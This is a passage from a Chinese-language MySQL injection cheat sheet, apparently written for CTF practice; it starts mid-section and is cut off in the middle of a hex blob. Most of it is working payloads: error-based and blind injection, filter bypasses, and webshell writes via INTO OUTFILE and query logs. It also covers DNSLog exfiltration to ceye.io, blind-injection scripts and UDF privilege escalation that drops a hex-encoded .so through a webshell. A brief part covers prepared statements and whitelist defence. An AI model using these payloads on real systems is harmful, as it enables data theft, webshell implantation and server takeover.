1 1"&&updatexml(1,concat('~',(select(group_concat(real_flag_1s_her))from(users))),3)# 
 
然后报错了… 没有这一列
突然才意识到报错注入有32个字符长度的限制,
尝试倒序查看列名:
1 1"&&updatexml(1,concat('~',(select(group_concat(reverse(column_name)))from(information_schema.columns)where(table_name='users'))),3)# 
 
 
果然,列名是real_flag_1s_here
然后爆flag:
1 1"&&updatexml(1,concat('~',(select(group_concat(real_flag_1s_here))from(users))),3)# 
 
 
发现很多xxx,列名内有很多xxx,占用了32个字符长度
regexp函数:正则匹配,返回特定字符串 
flag的格式就是flag{xxx} 
 
所以只需要匹配含有f的字符串即可
1 1"&&updatexml(1,concat('~',(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),3)# 
 
 
1 1"&&updatexml(1,concat('~',(select(group_concat(reverse(real_flag_1s_here)))from(users)where(real_flag_1s_here)regexp('^f'))),3)# 
 
 
组合一下就行了,注意重复的地方
 9.无列名注入  
适用于information_schema表被过滤的情况
爆库名:
1 0' union select 1,2,group_concat(database_name) from mysql.innodb_table_stats where 1='1 
 
使用mysql.innodb_table_stats时,不储存列名
爆表名:
1 0' union select 1,2,group_concat(table_name) from mysql.innodb_table_stats where 1='1 
 
对列的处理:
先判断该表内有几列 
然后给列都取一个名,然后读取这个名字的内容 
 
判断列数:
1 0' union select 1,2,(select group_concat(1) from database.table)' 
 
database.table为数据库名.表名
回显了多少个1就说明有几列
例如:
1 0'/**/union/**/select/**/1,2,(select/**/group_concat(1)/**/from/**/ctftraining.flag)' 
 
给列取名字读取:
1 2 3 4 5 0'/**/union/**/select/**/1,2,(select/**/group_concat(b)/**/from/**/(select/**/1/**/as/**/b/**/union/**/select/**/*/**/from/**/ctftraining.flag)a)' /*选择ctftraining.flag内的第一列取名为b并且读取b*/ 
 
比较法判断列数(?待验证)
1 select (select 'admin','~','~')<(select * from users where username='admin' limit 1); 
 
 10.insert注入  
SQL语句:
1 insert into table VALUES('val1','val2') 
 
此时构造语句
 
语句就会变成:
1 insert into table VALUES('bob' or xxxxx or'') 
 
xxxxx可以是报错注入的updatexml,也可以是时间盲注的语句,取决于你用何种注入方式:
1 0'||if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))<127,sleep(0.3),1)||' 
 
1 1' or updatexml(1,concat('~',database()),3) or' 
 
 11.update注入  
无非就是闭合语句,再注入自己的语句,达到改密码等效果:
1 2 3 4 5 update  user  set  username= "sqli" where  age= 111 ;update  user  set  username= "sqli",username= user () where  age= 111 ;
 
 12.约束攻击  
利用原理:
数据库中利用insert注册,利用select登录 
insert语句只会截取表中最大字符限制的内容(比如设置了varchar(20)就只会保留20个) 
select语句输入什么就是什么 
末尾的空格会被忽略掉 
 
利用注册的时候加上特别多的空格insert进去,然后再登录:
假设我注册一个用户admin               a
insert时候只会截取前20个,变成admin               .(15个空格)
这个时候就成功插入了admin账户的账号和密码了
 文件操作  
 设置变量  
1 2 3 set global key=value; set session key=value; set key=value;#session 
 
查看变量:
1 2 show variables; show variables like "%file%"; 
 
设置权限:
secure_file_priv 
限制文件的读、写。secure_file_priv只能够通过my.ini来配置,不能够通过sql语言进行修改
查看权限:
1 show variables like "%secure_file%"; 
 
null:不允许导入导出 
/tmp:只允许在tmp下执行 
空:无限制 
 
读文件
1 select load_file('/flag'); 
 
读文件配合盲注:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import  requestsurl = "http://34163922-8c1d-4c8b-ae9b-332f18511a0a.challenge.ctf.show:8080/api/index.php"  flag = "ctfshow{"  str  = "0123456789abcdefghijklmnopqrstuvwxyz-{}" for  i in  range (50 ):    for  j in  str :         data = {             "username"  : "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)" .format (flag+j),             "password"  : 0          }                  r = requests.post(url,data)         if  r"\u5bc6\u7801\u9519\u8bef"  in  r.text:             flag = flag+j             print (flag)             if  "}"  in  flag:                 exit()             break  
 
 mysql写shell  
 写文件:  
1 2 select "<?php phpinfo();?>" into outfile "/tmp/1.php"#多行 select "<?php phpinfo();?>" into dumpfile "/tmp/1.php"#仅一行 
 
要知道web的绝对路径 
web要有文件的写入权限 
数据库有secure_file_priv设置 
 
1 2 3 4 1 ' union select 1,"shell",3 into outfile "/var/www/html/1.php" #windows下: 1'  union  select  1 ,"shell",3  into  outfile "C:\\phpstudy\\WWW\\xxx"#
 
除了into outfile和into dumpfile以外,还有以下几种函数/语句可以写
lines terminated by:在每行终止的位置添加内容
1 1 ' union select 1 into outfile "xxx" lines terminated by "shell"# 
 
对应的还有lines started by:在每行起始的位置添加
1 1  into  out  file "xxx" lines starting by  "shell";
 
fields terminated by:可以理解成在每个字段处添加
1 1  into  out  file "xxx" fields terminated by  "shell";
 
columns terminated by:可以理解在每一列添加
1 1  into  out  file "xxx" columns terminated by  "shell";
 
sqlmap:
1 2 # 写入到 /tmp 目录下 (要写的文件,必须在kali本机里有) sqlmap -u "http://127.0.0.1/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details" -p 'username'  --file-write="shell.php"  --file-dest="/tmp/shell.php" 
 
日志写shell:
phpmyadmin里常见:
需要设置general_log和general_log_file
1 2 set  global  general_log= 'on' ; #开启日志记录set  global  general_log_file= '需要记录日志的位置.php' ;#将日志保存到路径,需要绝对路径,设置成网站的目录
 
然后只需要select一下:
1 select  '<?php eval($_POST[1]);?>' ;
 
这样就把这条语句记录到日志里了,日志还是php,所以自然就有马了
但是还有问题,比如在windows下,设置secure_file_priv在C盘下,但是网站搭载在D盘的话,这样即使将general_log_file修改为C盘下的文件也是连不上的,除非有文件包含
这种方式的条件比较苛刻:
不能够union注入,因为写日志的时候需要set general_log_file,而union注入是不能够执行set的
要有堆叠注入(mysqli_multi_query),不常见(常用mysqli_query)
或者你能够登入别的数据库或者phpmyadmin里
没有对单双引号进行过滤
 
慢查询日志写shell
在mysql>5.6.34以后secure_file_priv的值默认为null。
mysql里有一种日志叫慢查询日志,它用于记录在mysql中响应时间超过阈值的语句,默认阈值(long_query_time)为10,时间超过这个参数的查询语句会被sql记录到慢查询日志中
使用慢查询主要针对日志量庞大,通过日志文件getshell出现问题的情况
1 2 3 4 5 6 show  variables like  "%slow%";set  global  slow_query_log_file= "xxx.php";#慢查询日志的保存路径set  global  slow_query_log= on ;set  global  log_queries_not_using_indexes= on ;select  'shell'  or  sleep(10 ); #确保查询时间够长
 
如果查询的时候对敏感字符进行了过滤(如php),可以利用CONCAT拼接或者REPLACE替换
1 2 set  global  general_log_file = CONCAT("/var/www/html/shell.p","hp"); set  global  general_log_file = REPLACE("/var/www/html/shell.jpg","jpg","php"); 
 
 各种表  
 information_schema  
平时注入比较常用的表:
表 
字段 
说明 
 
 
information_schema.schemata 
schema_name 
库 
 
information_schema.tables 
table_schema、table_name 
库、表 
 
information_schema.columns 
table_schema、table_name、column_name 
库、表、列 
 
 
 sys  
表 
字段 
说明 
 
 
sys.innodb_buffer_stats_by_schema 
object_schema 
库名 
 
sys.innodb_buffer_stats_by_table 
object_schema、object_name 
库名、表名 
 
sys.io_global_by_file_by_bytes 
file 
路径中包含表名 
 
sys.io_global_by_file_by_latency 
file 
路径中包含表名 
 
sys.processlist 
current_statement、last_statement 
当前数据库正在执行的语句、该句柄执行的上一条语句 
 
sys.session 
current_statement、last_statement 
当前数据库正在执行的语句、该句柄执行的上一条语句 
 
sys.schema_auto_increment_columns 
table_schema、table_name、column_name 
库名、表名、字段名 
 
sys.schema_index_statistics 
table_schema、table_name 
库名、表名 
 
sys.schema_object_overview 
db 
库名 
 
sys.schema_table_statistics 
table_schema、table_name 
库名、表名 
 
sys.schema_table_statistics_with_buffer 
table_schema、table_name 
库名、表名 
 
sys.schema_tables_with_full_table_scans 
object_schema、object_name 
库名、表名 
 
sys.statement_analysis 
query、db 
请求访问的数据库名、数据库最近执行的请求 
 
sys.version 
mysql_version 
mysql版本信息 
 
sys.x$innodb_buffer_stats_by_schema 
object_schema 
库名 
 
sys.x$innodb_buffer_stats_by_table 
object_schema、object_name 
库名、表名 
 
sys.x$io_global_by_file_by_bytes 
file 
路径中包含表名 
 
sys.x$schema_tables_with_full_table_scans 
object_schema、object_name 
库名、表名 
 
sys.x$schema_flattened_keys 
table_schema、table_name、index_columns 
库名、表名、字段名 
 
sys.x$ps_schema_table_statistics_io 
table_schema、table_name 
库名、表名 
 
 
 performance_schema  
只有库和表:
表 
字段 
说明 
 
 
performance_schema.objects_summary_global_by_type 
object_schema、object_name 
库、表 
 
performance_schema.table_handles 
object_schema、object_name 
库、表 
 
performance_schema.table_io_waits_summary_by_index_usage 
object_schema、object_name 
库、表 
 
performance_schema.table_io_waits_summary_by_table 
object_schema、object_name 
库、表 
 
 
 information_schema.TABLESPACES_EXTENSIONS  
可以通过这个表去查询所有数据库中的数据库和表
 mysql.innodb  
无列名:
表 
字段 
说明 
 
 
mysql.innodb_table_stats 
database_name、table_name 
表名 
 
mysql.innodb_index_stats 
database_name、table_name 
 
 
 
 引号逃逸  
利用方式:
1 select * from users where username='xxx' and password = 'xxx' 
 
此处的xxx均为我们可控的内容,此时利用\逃逸出username的一个单引号,在password处注入:
1 select * from users where username='admin\' and password = 'or select xxx#' 
 
 quine(自等构造)  
条件:
1 2 3 4 5 6 7 8 9 10 11 $sql ="SELECT password FROM users WHERE username='admin' and password='$password ';" ;    $user_result =mysqli_query ($con ,$sql );     $row  = mysqli_fetch_array ($user_result );     if  (!$row ) {         alertMes ("something wrong" ,'index.php' );     }     if  ($row ['password' ] === $password ) {         die ($FLAG );     } else  {     alertMes ("wrong password" ,'index.php' );   } 
 
这里需要的是sql查询返回后的语句等于我们的password的语句
这里就可以利用replace函数替换,使其替换后的语句等于替换前的语句即可
对于返回值和输入值相同,并且输出自己的源代码程序,我们称之为Qunie
假设有个语句:
1 REPLACE('REPLACE("B","B","B")',B,'REPLACE("B","B","B")') 
 
他经过处理后会变成:
1 REPLACE("REPLACE("B","B","B")","REPLACE("B","B","B")","REPLACE("B","B","B")") 
 
仅相差中间那个B
此时利用char(66),其实就是B,但是它不会被替换
此时变成了:
1 REPLACE('REPLACE("B",CHAR(66),"B")',CHAR(66),'REPLACE("B",CHAR(66),"B")') 
 
最后变成了:
1 REPLACE("REPLACE("B",CHAR(66),"B")",CHAR(66),"REPLACE("B",CHAR(66),"B")") 
 
但是此时又有了个新的问题,此时看到距离我们的最终目标就剩下了单双引号
那我们再次利用replace将单引号换成双引号:
1 REPLACE(REPLACE('REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")',CHAR(34),CHAR(39)),CHAR(66),'REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")') 
 
比较套娃
此处实际上执行了两次replace:
第一次:
1 REPLACE('REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")',CHAR(34),CHAR(39)) 
 
此处将该语句的双引号都换成了单引号
此时变成了:
1 REPLACE('REPLACE(REPLACE('B',CHAR(34),CHAR(39)),CHAR(66),'B')',CHAR(66),'REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")') 
 
最后的输出结果:
1 REPLACE(REPLACE('REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")',CHAR(34),CHAR(39)),CHAR(66),'REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")') 
 
此时和语句1一致了
最后考虑到需要添加union select 空格/**/ 井号
最后的payload:
1 1'/**/union/**/select/**/REPLACE(REPLACE('1"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#',CHAR(34),CHAR(39)),CHAR(66),'1"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#')# 
 
如果char被过滤,还可以利用十六进制编码:
1 '/**/union/**/select/**/REPLACE(REPLACE('"/**/union/**/select/**/REPLACE(REPLACE("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/REPLACE(REPLACE("%",0x22,0x27),0x25,"%")#')# 
 
方法2:
1 2 3 1'union/**/select/**/mid(`11`,65,217)/**/from(select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17/**/union/**/select/**/*/**/from/**/performance_schema.threads/**/where/**/na me/**/like'%connection%'/**/limit/**/1,1)t# 
 
 排序注入(order by)  
讲到排序注入,就不得不说到mysql的一种防御方式叫预编译
预编译是啥呢,其实就是将一些灵活的参数值(可以理解成用户传的参数值)以占位符?的形式代替,然后让语句模板化。进行预编译之后sql语句就已经被分析优化了,并且是以参数化的形式来执行,所以即使有敏感字符,数据库也会当作属性值来处理而不是sql指令
预编译的形式通常是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 include  'dbConnect.php' ; if  (isset ($_GET ['username' ]) && isset ($_GET ['password' ])) {         $mysqli_stmt  = $mysqli ->prepare ("SELECT * FROM users WHERE username = ? AND password = ?" );     $mysqli_stmt ->bind_param ("ss" , $username ,$password );     $mysqli_stmt ->bind_result ($user , $pass );     $mysqli_stmt ->execute ();                if  (($mysqli_stmt ->fetch ())) {         echo  '登录成功!' ;     } else  {         echo  "用户名或密码错误" ;     } } 
 
或者一个更加普遍的形式:
1 2 3 4 5 Connection  conn  =  DBConnect.getConnection();String  sql  =  " SELECT xxx FROM xxx WHERE xxx = ? " ;ps = conn.prepareStatement(sql); ps.setString(1 , xxx);  rs = ps.executeQuery();  
 
此时我们输入1' or '1'='1时,预编译好的sql语句是这样的:
'1' or '1'='1'(也就是再加上一个单引号)
1 String  sql  =  " SELECT xxx FROM xxx WHERE xxx = '1' or '1'='1' " 
 
此时就无法攻击了
那接下来说回排序注入
排序注入一般出现在order by:
1 String sql  =  " SELECT xxx FROM xxx WHERE xxx ='xxx' order by xxx"; 
 
这里拿sql-labs的lesson48来做测试就好了
 挖掘思路  
请求的参数中的关键词有order=,sort=,orderby=等
等于号后面有asc desc等
例如某接口:
1 https://xxxx.com/xxx/xxx/xxx/getAreaSpotPageList?&pageindex=1&pagesize=20&passAreaId=2&orderby=pass_area_spot_id+desc&userId=1181163&hotelId=5&brandId=5 
 
这个接口是一个比较正常的get类型的获取数据接口
但是有一个orderby参数比较显眼
而且传递的参数值为pass_area_spot_id+desc,而desc是sql中的降序排序
发现orderby=pass_area_spot_id+desc与orderby=pass_area_spot_id+asc返回的数据不一致
 检测方法  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ,1 && ,0 ,1/1 && ,1/0 ,exp(7) && ,exp(710) //exp得看数据库的版本,高版本下不太行 异或 (select*from(select+sleep(3)union/**/select+1)a) //基于时间盲注的辅助判断 感觉上面的都不太行? order by rand() order by rand(1=1) order by rand(1=2) 根据这个排序返回的情况判断是否存在 也可以利用超大的数或者返回多条记录: order by 9999 order by (select 1 union select 2) 
 
例如:
AdminID+desc,exp(7)正常
 
而
AdminID+desc,exp(710)会溢出,导致响应时间过长:
 
基于时间的检测判断:
 
可见访问了3秒左右,代表存在该漏洞
 利用方式  
这个时候就可以利用了,建议条件为真时溢出(利于判断)
其实order by 后面可以直接添加sql语句 
payload修改一下:
1 AdminID+desc,if(user()+like+'r%',exp(710),exp(7)) 
 
 
1 AdminID+desc,if(user()+like+'c%',exp(710),exp(7)) 
 
 
报错:
1 xxx desc , updatexml(1 ,concat('~' ,database()),3 ) 
 
 
盲注(bool):
这里也可以写基于二分的,如果正确页面回显正常,如果错误页面会回显Subquery returns more than 1 row(也有可能是别的)
1 Payload:pass_area_spot_id+desc,if (ascii(substr(database(),? ,1 ))=?,1 ,(select %201 %20 from%20i nformation_schema.tables)) 
 
1 2 3 4 order  by  if(1 = 1 ,1 ,(select  1  from  information_schema.tables)) # 正常order  by  if(1 = 2 ,1 ,(select  1  from  information_schema.tables)) # 异常order  by  if(mid(database(),1 ,1 )= 's' ,1 ,(select  1  from  information_schema.tables)) # 正常order  by  if(mid(database(),1 ,1 )= 'a' ,1 ,(select  1  from  information_schema.tables)) # 异常
 
如果直接order by sleep(2)的话会根据表内的数据,进行sleep(2n)的操作,导致查询时间过长
盲注(time):
1 pass_area_spot_id+desc,if(ascii(substr(database(),? ,1))=?,1,sleep(3)) 
 
 为什么预编译不能够防止order by导致的注入  
其实这里可以换一个方法来问这个问题。
还记得预编译是什么吗?
进行预编译之后sql语句就已经被分析优化了,并且是以参数化的形式来执行,所以即使有敏感字符,数据库也会当作属性值来处理而不是sql指令
 
那么这个问题就可以转化成order by为什么不能够被参数化执行了
说回order by,order by的语法一般是order by [字段名] [desc/asc]
如果对order by之后的输入进行参数化就会导致sql语句出错:
1 String  sql  =  " SELECT xxx FROM xxx WHERE xxx = 'xxx' order by 'xxx' " 
 
这个时候order by 后面的 xxx其实是一个字符串,而不是字段名,导致sql查询出错 
引自原文:
那么为什么预编译的函数在参数化时非要把输入加上引号呢?如果没有引号不就可以防御order by注入了吗?是的,但确实没有不加引号的预编译的方法
 
那就是说引申一下,预编译防止不了order by导致的sql注入,也防御不了任何需要字符串并且不能够加引号的地方可能导致的sql注入
因为不能参数化的位置不管怎么拼接,最终都是和直接使用加号连接的方法一致
 防御方式  
既然预编译防不了group by,那要怎么防御呢?
可以采取白名单的方式
因为order by 之后跟的字段名是有限的,而且肯定是数据库中已经存在的字段,所以只要对这些有限的字段设置白名单,其他的输入统一报错,那么就解决了 
 DNSLog  
什么是DNSLog?
DNS就是将域名解析为ip。用户在浏览器上输入一个A.com,就要靠DNS服务器将A.com解析到它的真实ip,这样就可以访问到该真实ip上的服务
如何利用DNSLog进行注入呢?
 DNSLog回显原理  
Internet采用层次树状结构命名方法,域是名字空间中的一个可被管理的划分。域还可以被分成子域,子域还能够再被划分,从右向左分别是顶级域名,二级域名,三级域名 ,如tieba.baidu.com,而且域名不分大小写
DNSLog的回显方式是这样的:
假设我ping %USERNAME%.a.com
此时回显的结果会是Ping 请求找不到主机 kang_.a.com
 
因为系统在ping之前先把%USERNAME%的值解析出来和a.com拼接起来
再和ping命令执行将kang_.a.com发给DNS服务器请求解析
这个过程被记录下来就称DNSLog
原理上只要能够进行DNS请求的函数都可能存在DNSLog注入 
DNSLog能用在哪些地方?
SQL盲注。因为在sql注入的时候为布尔盲注、时间盲注的时候注入的效率低而且线程高的时候就容易被waf拦截,又或者目标站点无回显 
无回显rce。这个不多说 
无回显ssrf 
xss 
xxe 
 
 
推荐的DNSLog网址:
http://www.dnslog.cn  
http://admin.dnslog.link  
http://ceye.io 
 DNSLog打SQL盲注  
局限性:只能利用于windows并且有文件的读取权限,secure-file-priv不为null  
 
这里就需要我们的load_file函数了,这个函数可以进行DNS请求。但是这个trick只适用于windows系统。因为windows上有一个叫UNC 路径的东西
这是个什么玩意呢?
其实是一个windows上的一个访问方式,其实就是我们的
 
这种反斜杠的访问方式
payload:
1 payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,0)--+ 
 
过程是这样的:
恶意sql注入传递到数据库执行database()函数,假设返回的数据库名字叫security 
此时dns查询变成了security.xxx.ceye.io 
然后带着这个查询去查询dns服务器(查询security.xxx.ceye.io ) 
dns服务器返回了一个NS服务器地址xxx.ceye.io 
向NS服务器查询security.xxx.ceye.io 
ND服务器上获取到了DNSLog,查询到了数据库的值 
 
 limit注入  
注入点在limit后面
仅适用于5.x,因为procedure analyse在8.0.x已经被删除
group by 和limit的区别
group by 后可以直接跟sql注入语句,但是limit是不能直接跟的,需要再跟procedure analyse() 
 
 无order by的情况  
后端语句可能长这样:
1 select  *  from  users limit 1 ,1 ;
 
这种利用就很简单了,可以直接在后面加union,也可以利用procedure analyse()
1 2 3 4 5 6 7 select  *  from  aaa limit 1 ,1 ;select  *  from  aaa limit 1 ,1  union  select  version();select  *  from  aaa limit 1 ,1  procedure  analyse (extractvalue(rand(),concat(0x3a ,version())),1 );
 
 有order by的情况  
只能利用procedure analyse
1 2 3 4 5 select  *  from  aaa order  by  1  limit 1 ,1 ;select  *  from  aaa order  by  1  limit 1 ,1  procedure  analyse (extractvalue(rand(),concat(0x3a ,version())),1 );
 
 查询语句的过滤  
 0.内联注释  
1 2 3 select  1 select  2 ;select  );); 
 
不明觉厉()
可以将语句插入到注释中
 1.大小写绕过:  
 
 2.编码:  
进行url编码,如and(&&)可以尝试使用%26%26
如#可以使用%23
有些时候也可以利用hex:
1 1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 
 
 3.空格绕过:  
空格被过滤的一个方法:
1 1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()# 
 
另一个方法就是使用括号:
1 1'||updatexml(1,concat('~',(select group_concat(table_name) from inforamtion_schema.tables where table_schema=database())),3)# 
 
换用tab,%a0,%0a
(我记得%a0也能绕过?)
测试过会发现and之前的空格可以被省略,而and后面的空格可利用数个~和!来绕过
还有+和-
and后跟偶数个-即可
 4.双写绕过:  
1 1' ununionion selselectect 1,2,3# 
 
将中间的union和select删除后又有union select,绕过成功
大抵是因为str_replace? 
 5.符号绕过:  
or 换成 ||
and 换成 &&
 6.大小于号的过滤  
万恶的大小于号过滤,在写脚本跑的时候非常痛苦
可以使用greatest()函数、least()函数
1 2 3 4 如: select * from users where id=1 and ascii(substr(databse(),1,1))>64 可以换成: select * from users where id=1 and greatest(ascii(substr(database(),1,1)),64)=64 
 
其实也可以直接使用等于号硬跑脚本,也就只用跑十七八分钟而已 
 7.过滤了database()  
updated in 2023/3/11 
可以通过查一个不存在的表来爆出库名:
1 1'||(select *from asdf)# 
 
1 select  schema_name from  information_schema.schemata;
 
 
 8.各种字符数字互转  
ascii,常用于盲注,字符转ascii码 
ord,等效替代ascii 
hex,传入字符或者十进制数返回十六进制 
unhex,hex的反向 
char,ascii、ord的反向 
 
1 2 3 4 select  table_name from  information_schema.tables where  table_schema= 'test' ;select  table_name from  information_schema.tables where  table_schema= 0x74657374 ;
 
1 2 3 select  table_name from  information_schema.tables where  table_schema= 'test' ;select  table_name from  information_schema.tables where  table_schema= char (116 ,101 ,115 ,116 );
 
 9.过滤了select  
利用handler,常见于堆叠注入
1 2 3 4 5 6 handler user  open ; handler user  read first ; handler user  read next; 
 
条件:mysql8.0.19+
使用了table和values
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 table  user select  *  from  user   (table  information_schema.TABLESPACES_EXTENSIONS limit 6 ,7 )   #结果 #tmp/ user    select  (('u' ,'' )< (table  information_schema.TABLESPACES_EXTENSIONS limit 6 ,7 ))  #返回值:0    select  (('s' ,'' )< (table  information_schema.TABLESPACES_EXTENSIONS limit 6 ,7 ))  #返回值:1    select  (('t' ,'' )< (table  information_schema.TABLESPACES_EXTENSIONS limit 6 ,7 ))  #返回值:1    select  (('tmp/user' ,'' )< (table  information_schema.TABLESPACES_EXTENSIONS limit 6 ,7 ))  #返回值:NULL    select  (('tmp/uses' ,'' )< (table  information_schema.TABLESPACES_EXTENSIONS limit 6 ,7 ))  #返回值:0  
 
完全相等的时候返回null(?)
整数比较的时候是弱比较,注意
1 2 3 4 select  *  from  user  union  VALUES  ROW (1 , 2 )
 
 测试:  
例如某sql注入有如下的waf:
 
查库:
1 id= 0 % 09 union % 09 values % 09 row (database()) 
 
也可以利用一个盲注,总之就是要知道database
1 1' or ascii(substr(database(),1,1)) 
 
总之就是一个脚本可以爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import  requests        def  ord2hex (string ):result = ""  for  i in  string: r = hex (ord (i));  r = r.replace('0x' ,'' )  result = result+r return  '0x' +result    tables = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'  flag = ""  for  i in  range (0 ,50 ):for  j in  range (48 ,122 ): data = {         'password' :'' , }  r = requests.post('http://eci-2zefs2aa42oei8t7ms26.cloudeci1.ichunqiu.com' ,data=data);  if  '用户名不存在'  in  r.text:   flag = flag +chr (j-1 )   print (flag)   break  
 
利用这种比较的方法可以比较出列名等
利用列比较:
1 2 #查库 ('def', '{target+chr(ascii)}','','','','')>(table information_schema.schemata limit 4,1) 
 
查表:
1 ('ctf','{flag+chr(ascii)}','2021-04-30 21:15:31',0,0,0)>(table mysql.innodb_table_stats limit 1,1) 
 
查记录:
1 hex((table ctf.fl11aag limit 1,1)) 
 
 10. 绕过逗号  
还是挺有用的
利用join绕过:
1 select  *  from  (select  user ())a join  (select  database())b;
 
limit情况下的:
1 limit 1  offset  1  等效于 limit 1 ,1  
 
substr:
1 select  substr(database() from  1  for  1 );
 
1 2 3 4 select  substr(username,1 ,1 ) from  t_user;select  username from  t_user where  username like  "u%";
 
 11. 绕过等于号  
Payload 
说明 
 
 
<>、>、< 
不等符、大于、小于 
 
select 1 between 1 and 2; select 1 not between 1 and 2; 
between语句,在两值之间 
 
select 1 in (1); select 1 not in (1); 
in语句,在集合中 
 
select '123' like '1%'; 
like模糊匹配 
 
select '123' regexp '^12.*'; 
regexp正则匹配 
 
select '123' rlike '^12.*'; 
Rlike正则匹配 
 
select regexp_like("abc","^ab"); 
regexp_like函数正则匹配 
 
 
 12. and/or  
&&
||
^
-sleep(2)
 13. 小括号  
一般利用regexp或者like
 14. 注释符  
直接完整闭合即可:
1 2 3 4 # 原始 ?id=1 # 完整闭合 ?id=1' and expr and '1'='1 
 
 15. 绕过关键词  
比如information_schema.tables这种一个大的关键词
可以利用空格或者反引号绕过
1 2 3 4 select  distinct  table_name from  information_schema . tables;select  distinct  table_name from  `information_schema`.`tables`;
 
 16. order by  
group by
into @a, @b
 UDF提权  
udf是一个用户自定义的函数
udf就是为了让开发者能够自己写方便自己的函数,udf有三种返回值:STRING,INTEGER,REAL
udf创建自定义函数的格式:
1 create function xxx returns xxxx(string/integer/real) soname 'filename.so/dll'  
 
例如自定义一个sys_eval函数:
1 create  function  sys_eval returns  string soname 'a.so' ;
 
1 2 3 4 5 select  *  from  mysql.func where  name =  'sys_eval' ;select  sys_eval('sudo ls /root' ); #sudo提权select  sys_eval('sudo cat /root/you_win' );
 
(主要是发现这个b mysql用户是特权用户,才能够用sudo)
 需要条件  
 Windows  
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin\文件夹下(windows下默认这个目录是不存在的,所以需要有权限创建) 
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。 
掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。 
拥有可以将udf.dll写入相应目录的权限。 
 
 Linux  
放到mysql安装目录的lib\plugin\即可 
 
 流程  
首先要找到放plugin的路径
1 2 3 4 show  variables like  '%secure%' ;获取到secure_file_priv 这个参数会告诉我们通过udf提权可以获得什么权限 像下面就是可以提权到root 
 
1 2 show  variables like  '%plugin%' ;获取plugin目录 
 
然后将so文件上传到这个路径
你要是有小马可以rce的可以用这个脚本打:
1 2 3 4 5 6 7 8 9 10 import  requestsurl = 'http://78699278-e868-4e60-a4ed-1b459b70c167.challenge.ctf.show/a.php'  data = {'1' : '''file_put_contents('a.so',hex2bin('7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a30100